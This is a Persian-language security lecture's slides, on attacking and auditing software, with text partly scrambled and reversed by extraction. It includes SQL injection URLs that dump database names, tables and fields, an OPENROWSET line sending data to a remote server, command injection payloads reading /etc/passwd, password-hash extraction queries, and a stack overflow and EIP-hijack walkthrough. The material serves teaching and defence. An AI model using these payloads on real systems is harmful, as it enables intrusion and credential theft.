   ‫مشخص کردن تعداد پارامترها‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,2–
         All queries in an SQL statement containing a UNION operator must have an equal number of
          expressions in their target lists
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4–
         NO Error
   ‫استخراج نام کاربر بانک اطلعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4—
   ‫استخراج نام بانک اطلعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4—
   ‫استخراج نسخه بانک اطلعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4—
   ‫استخراج نام‬Table ‫های بانک اطلعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)—
   ‫استخراج نام‬Column ‫های‬Table ‫ها‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,column_name,3,4 from
          DBNAME.information_schema.columns where table_name='TABLE-NAME-1'—
   ‫استخراج اولین‬Field
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from TABLE-NAME-1—
   ‫استخراج دومین‬Field
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-2,3,4 from TABLE-NAME-1--




                                                                                                     49
‫حمله به نرم افزارهای تحت وب‬
http//:www.evilsql) Blind SQL Injection ‫استخراج اطلعات مورد نظر در حملت‬                          
                                                    (.com/page1.html
        (Out of band channles) ‫آشنایی با روش های غیر معمول استخراج اطلعات‬                        
                                                               MS-SQL Openrowset 
   insert into openrowset(‘SQLOLEDB’,‘DRIVER={SQL
    Server};SERVER=10.20.10.20,80;UID=sa;PWD=1234’,‘select * from
    foo’) values (@@version)
                                                                         DNS Resolve 
                                                                          HTTP GET 
    http//:www.cqure.net/files/OWASP%20-%20Sweden%20-%2020080527%20-%20SQL%20injection.zip   



                                   SQL Injection ‫اجرای دستورات سیستم عامل از طریق‬                
                                      ‫ استخراج اطلعات‬Automated ‫بررسی ابزارهای‬                    




                                                                                                 50
‫حمله به نرم افزارهای تحت وب‬

                            OS Command Injection ‫ بررسی حملت‬
use CGI qw(:standard escapeHTML);
print header, start_html(““);                                        Perl Applications 
print “<pre>“;
my $command = “du -h --exclude php* /var/www/html“;
$command= $command.param(“dir“);
$command=`$command`;
print “$commandn“;
print end_html;

http://web-app/cgi-bin/vuln.cgi?dir=/public|%20cat
%/etc/passwd

<%                                                                   ASP Applications 
Set oScript = Server.CreateObject(“WSCRIPT.SHELL“)
Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject“)
szCMD = “type c:inetpubwwwrootlogs“ & Request.Form(“FileName“)
szTempFile = “C:“ & oFileSys.GetTempName()
Call oScript.Run (“cmd.exe /c “ & szCMD & “ > “ & szTempFile,
0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
%>

http://web-app/view.asp [Form Data  sample.log && dir c:
                                                                                           51
‫حمله به نرم افزارهای تحت وب‬
                               ‫‪ ‬بررسی حملت 2( ‪)Command Injection‬‬
                                                 ‫‪ ‬روش های شناسایی‬
‫تزریق کاراکترهای خاص در پارامترها ، قبل از دستورات و مشاهده مستقیم نتیجه‬   ‫‪‬‬
                                               ‫‪ ‬کاراکتر های ; | &&‬
                                 ‫تزریق و تشخیص بر اساس تآخیرهای زمانی‬      ‫‪‬‬
                                      ‫‪| ping –i 30 127.0.0.1 | ‬‬
                                     ‫‪| ping –n 30 127.0.0.1 | ‬‬
                                   ‫‪& ping –i 30 127.0.0.1 & ‬‬
                                  ‫‪& ping –n 30 127.0.0.1 & ‬‬
                                             ‫‪; ping 127.0.0.1 ; ‬‬
                           ‫‪%0a ping –i 30 127.0.0.1 %0a ‬‬
                                             ‫‪` ping 127.0.0.1 ` ‬‬
            ‫تزریق و تشخیص بر اساس مشاهده خروجی دستور از سایر روش ها‬        ‫‪‬‬

                                      ‫‪ ‬بررسی حملت ‪Code Injection‬‬
                                 ‫‪Dynamic Code Execution in PHP ‬‬
                                 ‫‪Dynamic Code Execution in ASP‬‬                 ‫‪‬‬

                                                 ‫‪File Inclusion‬‬                ‫‪‬‬
                               ‫‪(PHP Remote File Inclusion (RFI‬‬             ‫‪‬‬
                                      ‫‪(Local File Inclusin (LFI‬‬            ‫‪‬‬




                                                                                   ‫25‬
‫حمله به نرم افزارهای تحت وب‬
                         ‫‪Path Traversal‬‬
                           ‫(‬                          ‫433 ‪(WAHHB Page‬‬   ‫‪ ‬بررسی حملت‬
          ‫(‬   ‫)‪Cross Site Scripting (XSS‬‬             ‫573 ‪(WAHHB Page‬‬    ‫‪ ‬بررسی حملت‬
                               ‫بررسی انواع حملت ‪ XSS‬و تفاوت های آنها‬           ‫‪‬‬

                                                    ‫‪Reflected XSS‬‬          ‫‪‬‬

                                                      ‫‪Stored XSS‬‬           ‫‪‬‬

                                   ‫(‬   ‫شناسایی ضعف های 104 ‪XSS (WAHHB Page‬‬     ‫‪‬‬

                                          ‫بررسی کاربردهای حملت ‪XSS‬‬             ‫‪‬‬

                                                  ‫سرقت ‪ Session‬کاربر‬       ‫‪‬‬

              ‫‪ Bypass‬کردن برخی محدودیت های ‪Web Application‬‬                 ‫‪‬‬

‫ارسال درخواست بجای کاربر به ‪ web application‬برای انجام عملی خاص‬            ‫‪‬‬
                      ‫بررسی سایر روش های سو استفاده )693 ‪(WAHHB Page‬‬       ‫‪‬‬

         ‫‪ ‬بررسی حملت ‪Parameter Tampering/Manipulation‬‬
                         ‫‪ ‬بررسی حملت ‪Forceful Browsing‬‬
             ‫‪ ‬معرفی ابزارهای پویش و بررسی نرم افزارهای تحت وب‬



                                                                                       ‫35‬
‫حملت علیه کلمات عبور‬
                                                        ‫‪ ‬تقسیم بندی کلی حملت‬
                                                          ‫‪Online Attacks‬‬        ‫‪‬‬
‫تمرکز بر روی کشف نام کاربری و کلمه عبور از طریق اقدام به تعامل با سرویس‬     ‫‪‬‬
   ‫نیازمند اقدام به برقراری ارتباط با هدف بطور مستقیم برای حدس کلمات عبور‬   ‫‪‬‬
              ‫نیازمند در دسترس بودن سرویس های خاص بمنظور تعامل با آنها‬      ‫‪‬‬
  ‫قابلیت شناسایی آسان بدلیل حجم ترافیک و رویداد های تولید شده در طول حمله‬   ‫‪‬‬
     ‫سرعت بسیار پایین در مقایسه با حملت ‪ ، Offline‬و وابسته به منابع شبکه‬    ‫‪‬‬
                               ‫عدم نیاز به قدرت پردازش بال در سمت نفوذگر‬    ‫‪‬‬

                                                          ‫‪Offline Attacks‬‬       ‫‪‬‬
      ‫تمرکز بر روی شکستن کلمات عبور رمز/کد شده که از هدف بدست آمده‬          ‫‪‬‬
                          ‫عدم نیاز به برقراری ارتباط با هدف در طول حمله‬     ‫‪‬‬
  ‫نیازمند تعامل با سرویس / سیستم تنها بمنظور استخراج کلمات عبور رمز شده‬     ‫‪‬‬
 ‫امکان شناسایی تنها در زمان استخراج کلمات عبور رمز شده )در شرایط خاص(‬       ‫‪‬‬
             ‫سرعت بسیار بال ) وابسته به روش رمزنگاری بکار برده شده (‬        ‫‪‬‬
                                 ‫نیازبه قدرت پردازش بال در سمت نفوذگر‬       ‫‪‬‬




                                                                                    ‫45‬
‫حملت علیه کلمات عبور‬
                                                                             ‫‪Online Attacks ‬‬
                                ‫قابل پیاده سازی از طریق سرویس ها وپروتکل های مختلف‬              ‫‪‬‬
                                           ‫سرویس ها و پروتکل های دسترسی از راه دور‬
                  ‫)‪(…,Telnet,SSH,Rlogin,TS,VNC‬‬                                              ‫‪‬‬
                                                       ‫سرویس های پستی )‪(…,POP,SMTP,IMAP‬‬     ‫‪‬‬
                                      ‫سرویس های بانک اطلعاتی )‪(…,MS-SQL,MySQL,Oracle‬‬        ‫‪‬‬
                                ‫سرویس های وابسته به وب )‪(…,HTTP,Login Forms,Proxies,Socks‬‬   ‫‪‬‬
                                        ‫پروتکل های مدیریت از راه دور )‪(…,SNMP,RPC,WMI‬‬       ‫‪‬‬

‫و هر سرویس دیگری که برای دسترسی نیاز به ارسال نام کاربری و کلمه عبور داشته باشد !‬           ‫‪‬‬

                                 ‫بررسی روش ها و ابزارهای مختلف پیاده سازی حمله‬                  ‫‪‬‬

                                 ‫بررسی روش های متداول مقابله با این دسته از حملت‬                ‫‪‬‬

                              ‫نکاتی در خصوص نام های کاربری و کلمات عبور پیشفرض‬                  ‫‪‬‬

            ‫‪Networking Devices,Database Systems,Product default‬‬                             ‫‪‬‬
    ‫‪accounts,Product Master/Hidden/Hardcoded passwords,Service‬‬
                                                     ‫‪accounts‬‬
                    ‫نکاتی در خصوص انتخاب فایل های دیکشنری و محدوده کلمات عبور‬                   ‫‪‬‬




                                                                                                    ‫55‬
‫حملت علیه کلمات عبور‬

                                               ‫‪Offline Attacks ‬‬
        ‫‪ ‬آشنایی با مکانیزم های ‪ Hash‬و ‪ Encoding‬کلمات عبور‬
‫‪ ‬آشنایی با برخی سرویس ها و مکانیزم های بکار برده شده توسط آنها‬
             ‫‪ ‬بررسی روش های بدست آوردن کلمات عبور رمز شده‬
           ‫‪ ‬استخراج از فایل های خاص ذخیره کلمات عبور سیستم عامل‬
                   ‫‪C:windowssystem32configSAM ‬‬
                          ‫‪etc/passwd & /etc/shadow/ ‬‬
                ‫‪ ‬استخراج از فایل های حاوی تنظیمات سیستم یا سرویس‬
                                        ‫‪ ‬استخراج از ترافیک شبکه‬
                                   ‫‪ ‬استخراج از بانک های اطلعاتی‬



                                                                    ‫65‬
‫حملت علیه کلمات عبور‬
                                                       Offline Attacks 
            ‫بررسی روش های بدست آوردن کلمات عبور رمز شده‬                
                                  ‫استخراج از بانک های اطلعاتی‬      
                       select user, password from userMySQL    
 select name, password from master..sysxloginsMS-SQL   2000    
select name,password_hash FROM sys.sql_loginsMS-SQL 2005       
           select username, password from DBA_USERS Oracle     
                  $select name,password from SYS.USER Oracle   
         select usename, passwd FROM pg_shadowPortageSQL       
                 ‫بررسی تکنیک های شکستن کلمات عبور رمز شده‬              
                Dictonary , Bruteforce , Hybrid                    
  Pre-Computed Rainbow Tables) Cryptanalysis)                      
                           Cryptography flaws                      

                               ‫بررسی روش های پیاده سازی حملت‬           
                                  Single System                    
                           Distributed Systems                     
      Free & Commercial Cryptanalysis providers                    




                                                                           57

Softwares : Vuln discovery , attack and deffence technologies

  • 1.
    ‫مشکلت امنیتی نرمافزارها‬ ‫مروری بر روش های کشف ، حمله و مقابله‬ ‫سید حمید کشفی‬ ‫‪Hamid@OISSG.org‬‬ ‫5 تیر ماه 7831‬
  • 2.
    ‫مواردی که بهآنها خواهیم پرداخت‬ ‫بررسی روش های حمله به نرم افزارها‬ ‫‪‬‬ ‫‪ ‬نرم افزارهای کاربردی‬ ‫مروری بر حملت سرریز بافر‬ ‫‪‬‬ ‫‪ ‬نرم افزارهای تحت وب‬ ‫مروری بر حملت رایج )‪(… ,SQLi, XSS, Harvesting‬‬ ‫‪‬‬ ‫بررسی روش های کشف ضعف های امنیتی‬ ‫‪‬‬ ‫‪ ‬بازبینی کد )‪(Source-code Audit‬‬ ‫‪Fuzzing & Fault-Injection ‬‬ ‫‪Binary Analyzing ‬‬ ‫بررسی روش های مقابله با حملت‬ ‫‪‬‬ ‫‪ ‬سیستم های محافظتی موجود در سطح سیستم عامل و سخت افزار‬ ‫‪ ‬سیستم های محافظتی ایجاد شده توسط نرم افزارهای جانبی‬ ‫2‬
  • 3.
    ‫حمله به نرمافزار – نرم افزارهای کاربردی‬ ‫‪ ‬ضعف امنیتی در نرم افزار چیست ؟‬ ‫‪ ‬منظور از ‪ Exploit‬کردن یک ضعف امنیتی ؟‬ ‫‪ ‬اهداف استفاده از ضعف های امنیتی نرم افزار‬ ‫‪ ‬ایجاد اختلل در روال کار نرم افزار یا سیستم )‪(DoS‬‬ ‫‪ ‬اجرای دستورالعملی خارج از روال معمول اجرای نرم‬ ‫افزار)‪(Controling Software‬‬ ‫‪ ‬بدست گرفتن کنترل کامل نرم افزار یا سیستم‬ ‫عامل)‪(Controling System‬‬ ‫‪ Payload ‬چیست ؟‬ ‫3‬
  • 4.
    ‫نرم افزارهای کاربردی– حملت سرریز بافر‬ ‫‪ ‬بررسی روال اجرای یک نرم افزار‬ ‫‪ ‬اختصاص یک محدوده آدرس در حافظه برای بارگذاری‬ ‫دستورالعمل ها و اطلعات لزم‬ ‫‪ ‬بارگذاری سگمنت های تعریف شده در نرم افزار‬ ‫‪ :text. ‬حاوی دستورالعمل های اجرایی برنامه‬ ‫‪ :bss. ‬حاوی اطلعات و متغیر های تعریف نشده )‪(uninitialized data‬‬ ‫‪ :data. ‬حاوی اطلعات و متغیر های تعریف شده )‪(static initialized data‬‬ ‫‪ ‬اختصاص فضای ‪ Stack‬و ‪Heap‬‬ ‫4‬
  • 5.
    ‫نرم افزارهای کاربردی– حملت سرریز بافر‬ ‫سرریز بافر زمانی رخ میدهد که حجم اطلعات کپی شده به بافر ،‬ ‫‪‬‬ ‫بیشتر از میزان مشخص شده برای بافر باشد.‬ ‫#‪<include <stdio.h‬‬ ‫‪(Int main (int arge , char **argv‬‬ ‫}‬ ‫‪chartarget]5[=”“AAAA‬‬ ‫‪;(“strcpy(target, “AAAAABBBBCCCC‬‬ ‫‪;(“Printf(“%n“,target‬‬ ‫0 ‪;Return‬‬ ‫{‬ ‫5‬
  • 6.
    ‫نرم افزارهای کاربردی– حملت سرریز بافر‬ Stack Overflow ‫ بررسی یک کد آسیب پذیر به‬ #include <iostream.h> #include <stdio.h> 12345... #include <conio.h> #include <stdio.h> int Hijack() { cout << "This function should be hijacked!"; getchar(); ....ABCD return 0; } EIP int Function1() { char var1[15]; cout << "_________1234567890abcd" << endl; Main() cout << "Enter Var1:"; cin >> var1; cout << var1 << endl; return 0; } Hijack() int main() { Function1(); getchar(); 6 return 0; }
  • 7.
    ‫نرم افزارهای کاربردی– حملت سرریز بافر‬ ‫اتفاقی که پس از سرریز بافر رخ میدهد : تخریب روال اجرا‬ ‫‪‬‬ ‫...54321‬ ‫6543210.....‬ ‫) ‪EBP ( AAAA‬‬ ‫) ‪EIP ( BCDE‬‬ ‫)(‪Main‬‬ ‫)(‪Hijack‬‬ ‫7‬
  • 8.
    ‫نرم افزارهای کاربردی– حملت سرریز بافر‬ ‫استفاده از قابلیت تغییر‪ EIP‬برای کنترل نرم افزار وفراخوانی توابعی که در روال اجرای‬ ‫‪‬‬ ‫معمولی برنامه , فراخوانی نمیشوند‬ ‫...54321‬ ‫6543210.....‬ ‫) ‪EBP ( AAAA‬‬ ‫) 05010400( ‪EIP‬‬ ‫)(‪Main‬‬ ‫)(‪Hijack‬‬ ‫8‬
  • 9.
    ‫نرم افزارهای کاربردی– حملت سرریز بافر‬ ‫با استفاده از روش ذکر شده ، میتوان اقدام به اجرای کد و دستورات دلخواه‬ ‫‪‬‬ ‫نمود‬ ‫با توجه به اینکه داده های ارسالی ما مستقیمآ در حافظه درج میشوند ،‬ ‫‪‬‬ ‫دستورات می بایست به زبان ماشین باشد.‬ ‫به دستوراتی که برای اجرا در حافظه درج میشوند اصطلحآ ‪ Payload‬گفته‬ ‫‪‬‬ ‫میشود‬ ‫رعایت نکردن نکاتی همچون عدم استفاده از کاراکترهای خاص )00‪(0x‬‬ ‫‪‬‬ ‫باعث بروز مشکل خواهد شد‬ ‫برای اینکه بتوانیم دستورات دلخواه خود را اجرا کنیم ، میبایست آدرس دقیق‬ ‫‪‬‬ ‫آنها را پس از درج در حافظه بدانیم‬ ‫روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد ~‬ ‫‪‬‬ ‫9‬
  • 10.
    ‫نرم افزارهای کاربردی– حملت سرریز بافر‬ ‫...54321‬ ‫از دید پردازنده ، تفاوتی میان دستورالعمل ها و داده ها وجود‬ ‫‪‬‬ ‫[‪]Injected Payload‬‬ ‫ندارد . ورودی داده شده درصورتی که دستور زبان ماشین‬ ‫معتبر باشد اجرا خواهد شد.‬ ‫6543210.....‬ ‫یکی از روش های تزریق ‪ Payload‬درحافظه ، ارسال آن در‬ ‫‪‬‬ ‫قالب پارامترهای ورودی نرم افزار میباشد‬ ‫) ‪EBP ( AAAA‬‬ ‫سرریز بافر میتواند هم در فضای ‪ Stack‬و هم در فضای‬ ‫‪‬‬ ‫)}‪EIP (0x{Payload Offset‬‬ ‫‪ Heap‬رخ دهد‬ ‫بسته به محل وقوع سرریز )‪(stack / Heap overflow‬‬ ‫‪‬‬ ‫)(‪Main‬‬ ‫نحوه تغییر روال اجرای برنامه و پرش به محل ‪Payload‬‬ ‫متفاوت بوده وتکنیک ها و روش های مختلفی برای هر حالت‬ ‫وجود دارد.‬ ‫)(‪Hijack‬‬ ‫قابلیت بازنویسی ‪ EIP‬الزامی نیست ! در نظر داشته باشید که‬ ‫‪‬‬ ‫بازنویسی هر یک از ثبات ها میتواند در نهایت منجر به اجرای‬ ‫00‪0x‬‬ ‫‪ Payload‬گردد‬ ‫01‬
  • 11.
    ‫نرم افزارهای کاربردی– حملت سرریز بافر‬ ‫روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد:‬ ‫‪‬‬ ‫‪ ‬آدرس های بارگذاری توابع و ‪ Dll‬ها بسته به هر نسخه نرم افزار ، سیستم عامل و حتی ‪Service‬‬ ‫‪ Pack‬تغییر میکند‬ ‫در برخی موارد ، آدرس ها و ‪ offset‬های ثابت که در تمامی نسخ یکسان هستند نیز وجود دارند‬ ‫‪‬‬ ‫‪ ‬نیاز به آگاهی از آدرس دقیق دستورات درج شده )‪ (Payload‬در حافظه‬ ‫بر خلف ‪ ، Linux‬تخمین آدرس دقیق ‪ Stack‬در ویندوز براحتی امکانپذیر نیست‬ ‫‪‬‬ ‫استفاده از تکنیک ‪Return-to-lib/dll‬‬ ‫‪‬‬ ‫استفاده از ‪NOP Sled‬‬ ‫‪‬‬ ‫‪ ‬محدودیت در حجم دستوراتی که میتوان در بافر درج کرد‬ ‫استفاده از بخش های مختلف حافظه که قابلیت تزریق در آنها وجود دارد ، و پرش بین آنها‬ ‫‪‬‬ ‫استفاده از ‪ Payload‬های چند مرحله ایی‬ ‫‪‬‬ ‫‪ ‬محدودیت در استفاده ازکاراکترهایی که در حافظه درج میگردد‬ ‫شناسایی کاراکترهایی که پس از تزریق در حافظه دستکاری میشوند‬ ‫‪‬‬ ‫‪ Encode‬کردن ‪ Payload‬برای پرهیز از وجود کاراکترهای خاص‬ ‫‪‬‬ ‫‪ ‬نحوه ارسال دستورات به نرم افزار‬ ‫11‬
  • 12.
    ‫نرم افزارهای کاربردی– حملت سرریز بافر‬ ‫‪ ‬در زبان ماشین ، امکان مقدار دهی به ‪ EIP‬بصورت مستقیم وجود ندارد ) مقادیر سایر ثبات ها توسط‬ ‫دستوراتی چون ‪ ... JMP MOV CALL‬به ‪ EIP‬داده میشوند (‬ ‫‪ ‬در مثالی که پیش از این ذکر شد ، با فرض اینکه ما امکان بدست آوردن آدرس دقیق ‪ Payload‬برای‬ ‫استفاده دربازنویسی ‪ EIP‬را در نداریم ، میبایست از مقدار بازنویسی شده سایر ثبات ها استفاده کنیم .‬ ‫‪ EBP ‬بازنویسی شده ، پس باید به دنبال دستورالعملی باشیم که محتوای ‪ EBP‬را در ‪ EIP‬درج کند‬ ‫)‪(JMP EBP‬‬ ‫‪ ‬قدم بعد ، بازنویسی ‪ EBP‬برای اشاره به آدرسی از حافظه است که در آن دستورالعمل ‪JMP EBP‬‬ ‫وجود داشته باشد‬ ‫‪ ‬نکته : توابع کتابخانه ایی پویا)‪ (DLL‬همواره در آدرس های مشخصی از حافظه بارگزاری میشوند . در‬ ‫هر یک از ‪ DLL‬های موجود در حافظه ممکن است بخشی از دستورات ، دستورات مورد نظر ما باشد‬ ‫‪ ‬ایده : جستجوی محدوده آدرس توابع کتابخانه ایی برای دستورالعمل مورد نظر ما ، و بدست آوردن آدرس‬ ‫)‪ (offset‬آن دستورالعمل‬ ‫‪ ‬استفاده از ابزارهایی مانند ‪FindJump‬‬ ‫‪ ‬بازنویسی ‪ EIP‬با ‪ 0x7c822cac‬محتویات ‪ EBP‬را در ‪ EIP‬بازنویسی میکند‬ ‫‪ ‬بدین ترتیب بدون نیاز به درج آدرس ‪Payload‬‬ ‫بطور مسقیم در ‪ ، EIP‬آنرا اجرا میکنیم‬ ‫‪ ‬نتیجه : پایداری بیشتر در روال حمله‬ ‫21‬
  • 13.
    ‫نرم افزارهای کاربردی– حملت سرریز بافر‬ ‫‪ ‬نتیجه نهایی ، نمایی از ‪ Stack‬پس از حمله‬ ‫[… ‪GET / AA….A[ 0x90 Nop] [ JMP ] ]overwrite EBP[ ]Overwrite EIP[ [NOP] ]…. Payload‬‬ ‫5‬ ‫3‬ ‫6‬ ‫‪AA...A‬‬ ‫‪NOP Sled jmp EBPEIP NOP‬‬ ‫‪Payload‬‬ ‫4‬ ‫‪ EIP‬با آدرسی که به ‪ jmp ebd‬اشاره دارد بازنویسی میشود‬ ‫1.‬ ‫پردازنده به آدرس مراجعه کرده و دستور اجرا میشود‬ ‫2.‬ ‫2‬ ‫1‬ ‫محتویات ‪ EBP‬که به محل ‪ Nop Sled‬در حافظه اشاره دارد ، در ‪EIP‬‬ ‫3.‬ ‫بازنویسی میشود‬ ‫‪Jmp ebp‬‬ ‫پردازنده با توجه به ‪ ، EIP‬برای ادامه اجرای دستورات به آدرس ‪Nop Sled‬‬ ‫4.‬ ‫مراجعه میکند‬ ‫‪Kernel32.dll‬‬ ‫پس از پایان ‪ Nop‬پردازنده به دستور پرش به ‪ Nop Sled‬دوم میرسد‬ ‫5.‬ ‫‪ Nop Sled‬دوم اجرا شده و روال در نهایت به اجرای ‪ Payload‬ختم میگردد.‬ ‫6.‬ ‫31‬
  • 14.
    ‫حملت سرریز بافر– بررسی ‪ Payload‬ها‬ ‫به مرحله اجرای ‪ Payload‬رسیدیم . چه انتخاب هایی پیش رو داریم ؟‬ ‫‪‬‬ ‫مراحل ادامه حمله پس از بارگذاری موفقیت آمیز ‪ ، Payload‬اصطلحآ ‪ Post Exploitation‬خوانده میشوند.‬ ‫‪‬‬ ‫وجه مشترک همه ‪ Payload‬ها : بر اساس زبان ماشین‬ ‫‪‬‬ ‫وجه تمایز : اجرای ‪ Payload‬در حافظه هر ‪ Platform‬و معماری پردازنده ، میبایست بر اساس همان شرایط باشد.‬ ‫‪‬‬ ‫برای تهیه و نوشتن ‪ Payload‬برای هر معماری میبایست از زبان ماشین همان پردازنده استفاده شود ), 46/23‪IA‬‬ ‫‪‬‬ ‫‪ SPARC , PowerPC, MIPS‬و... (‬ ‫دستوراتی که ‪ Payload‬قصد اجرای آنرا دارند ، میبایست منطبق با سیستم عاملی باشد که به آن حمله میشود.‬ ‫‪‬‬ ‫برخی از ‪ Payload‬های رایج :‬ ‫‪‬‬ ‫اجرای دستورات بر روی سیستم عامل ) ‪( … , add user , iptables –F‬‬ ‫‪‬‬ ‫فراهم کردن دسترسی از راه دور به سیستم هدف ) ‪(Reverse/Bind Shell‬‬ ‫‪‬‬ ‫فراهم کردن دسترسی پیشرفته از طریق ‪ Payload‬های پیچیده )‪( Meterpreter , MOSDEF‬‬ ‫‪‬‬ ‫‪ Proxy‬کردن فرامین زبان ماشین به سیستم هدف ، برای اجرا )‪( SysCall Proxying‬‬ ‫‪‬‬ ‫در شرایط معمولی ، میتوان از ‪ Shellcode‬های از پیش آماده شده استفاده کرد‬ ‫‪‬‬ ‫/‪http//:milw0rm.com/shellcode‬‬ ‫‪‬‬ ‫‪http//:metasploit.org/data/shellcode/win32msf20payloads.tar.gz‬‬ ‫‪‬‬ ‫بسته ‪ Metasploit Framework‬بیش از یکصد ‪ Payload‬آماده برای استفاده درشرایط ، سیستم عامل ها و معماری های‬ ‫‪‬‬ ‫مختلف پردازنده را در اختیار قرار میدهد. )‪( www.metasploit.org‬‬ ‫41‬
  • 15.
    ‫حملت سرریز بافر– ‪Exploit Frameworks‬‬ ‫همانطور که بررسی شد ، پیاده سازی یک حمله سرریز بافر مستلزم طی‬ ‫‪‬‬ ‫مراحل مختلف میباشد‬ ‫انجام برخی مراحل مستلزم تولید کد/ابزارهای خاص برای سرعت بخشیدن به کار میباشد‬ ‫‪‬‬ ‫تولید ‪ Payload‬ها و بهینه سازی و آزمایش آنها امری زمان بر و نیازمند تجربه میباشد‬ ‫‪‬‬ ‫در صورت لزوم پرهیز از کاراکترهای خاص ، پروسه تولید یا ‪ Encode‬کردن‬ ‫‪‬‬ ‫‪ Payload‬میبایست تکرارشود‬ ‫برای استفاده از یک ضعف امنیتی در شرایط مختلف ، میبایست از ‪ Payload‬های‬ ‫‪‬‬ ‫متفاوتی استفاده گردد‬ ‫با هربار نیاز به ایجاد تغییر جزئی در کد اکسپلویت ، کد میبایست مجددآ کامپایل و مورد‬ ‫‪‬‬ ‫استفاده قرار گیرد‬ ‫وجود یک مجموعه از ابزارها و امکانات در کنار یکدیگر که صرفآ برای‬ ‫‪‬‬ ‫آنالیز و تولید کد های اکسپلویت برای حملت سرریز بافر تولید شده ، کمک‬ ‫بزرگی محسوب میگردد.‬ ‫51‬
  • 16.
    ‫حملت سرریز بافر– ‪Exploit Frameworks‬‬ ‫‪ Exploitation Framework‬های موجود به ما کمک میکنند تا‬ ‫‪‬‬ ‫تنها یکبار اقدام به معرفی مشخصات ضعف امنیتی پرداخته و پس از آن بدون نیاز به‬ ‫‪‬‬ ‫تغییر خاصی در کد ، بارها و در شرایط مختلف از آن استفاده کنیم‬ ‫نگران مراحل زمانگیر تولید و تست ‪ Payload‬های مختلف نباشیم‬ ‫‪‬‬ ‫براحتی و با استفاده از ‪ Encoder‬های موجود ، مشکل کاراکترهای فیلتر شده )‪Bad‬‬ ‫‪‬‬ ‫‪ (chars‬را حل کنیم‬ ‫از امکانات موجود در ‪ Payload‬های پیشرفته استفاده کنیم‬ ‫‪‬‬ ‫تعداد خطوط کد لزم برای تولید یک اکسپلویت بسیار کاهش میبابد‬ ‫‪‬‬ ‫کمتر از 5 خط کد در محیط ‪ Framework‬معادل ده ها خط کد در یک اکسپلویت مستقل!‬ ‫‪‬‬ ‫معرفی ‪ Metasploit Framework‬و امکانات آن‬ ‫‪‬‬ ‫‪ ‬ابزارهای کمکی برای طی مراحل اولیه‬ ‫تولید ‪ Pattern‬برای سرریز کردن بافر )‪(pattern_create.rb‬‬ ‫‪‬‬ ‫محاسبه سایز بافر ، و تعداد بایت لزم برای سرریز کردن بافر )‪(pattern_offset.rb‬‬ ‫‪‬‬ ‫بانک اطلعاتی بسیار کامل برای یافتن ‪ offset‬های مختلف و مناسب )‬ ‫‪‬‬ ‫‪(/http://metasploit.org/opcodedb‬‬ ‫61‬
  • 17.
  • 18.
    ‫حملت سرریز بافر– علت بروز مشکل‬ ‫حملت سرریزبافر ناشی از اشتباهات برنامه نویس در استفاده از توابع زبان‬ ‫‪‬‬ ‫برنامه نویسی هستند.‬ ‫بسیاری از توابع ، به خودی خود ورودی/خروجی خود را کنترل نمیکنند‬ ‫‪‬‬ ‫انتظار میرود که برنامه نویس پیش از استفاده از چنین توابعی ، حجم و نوع‬ ‫‪‬‬ ‫اطلعات ارسالی/دریافتی از تابع را کنترل کند تا از بروز مشکل جلوگیری‬ ‫شود.‬ ‫برخی از توابع که استفاده از آنها بدون کنترل قبلی ، منجر به سرریز بافر‬ ‫‪‬‬ ‫میگردد : )(‪strcat() , strcpy() ,sprintf() , vsprintf() , bcopy‬‬ ‫‪(),gets() ,scanf‬‬ ‫استفاده از توابع کتابخانه ایی که دارای مشکل هستند ، برنامه شما را نیز‬ ‫‪‬‬ ‫دوچار مشکل امنیتی میکنند.‬ ‫81‬
  • 19.
    ‫حملت سرریز بافر– علت بروز مشکل‬ Vulnerable Function Function’s Purpose Why Vulnerable Memcpy() Copies one part of the memory to another, taking It can place too much data, into too small a buffer, two a source, a destination and a number of thus causing an overflow. bytes as arguments. Gets() Receives data from the user, and places it into a Doesn’t check how much data has been placed in buffer. the buffer, perhaps too much! Sprintf() Places formatted data into a buffer, replacing It doesn’t check how much data is being placed arguments with data, for example ‘%s’, ‘hi’ into the buffer. being written to buffer[5]; would result in not ‘%s’ being placed in the buffer, but ‘hi’. Strcat() Sticks one buffer onto the end of another. Doesn’t check that the data being added will fit within the buffer limits/ Strcpy() Copies the content of one buffer to another. Once again, the destination length is not compared with the source length. 19
  • 20.
    ‫شناسایی مشکلت امنیتینرم افزار‬ ‫تکنیک ها و روش های متفاوتی برای شناسایی ضعف های امنیتی موجود در‬ ‫‪‬‬ ‫نرم افزارها وجود دارد‬ ‫‪ ‬بررسی کد )‪(Source-Code Audit‬‬ ‫‪Fuzzing & Fault-Injection ‬‬ ‫‪Binary (Static/Dynamic) Analyze ‬‬ ‫بسته به شرایط ، امکانات ودقت عمل لزم از یک یا ترکیبی از چند روش‬ ‫‪‬‬ ‫برای آنالیز یک نرم افزار استفاده میشود‬ ‫الزامآ پیچیده ترین روش ، همیشه بهینه ترین روش نیست !‬ ‫‪‬‬ ‫اگرچه بسیاری از تکنیک های کشف و شناسایی مشکلت امنیتی بصورت‬ ‫‪‬‬ ‫‪ Automated‬نیز دراختیارهستند ، اما همواره نیاز به یک کاربر مسلط و با‬ ‫تجربه وجود دارد.‬ ‫لزومآ هر مشکل سرریز بافر شناسایی شده ، قابل استفاده برای اجرای‬ ‫‪‬‬ ‫کد/دستور نیست .‬ ‫02‬
  • 21.
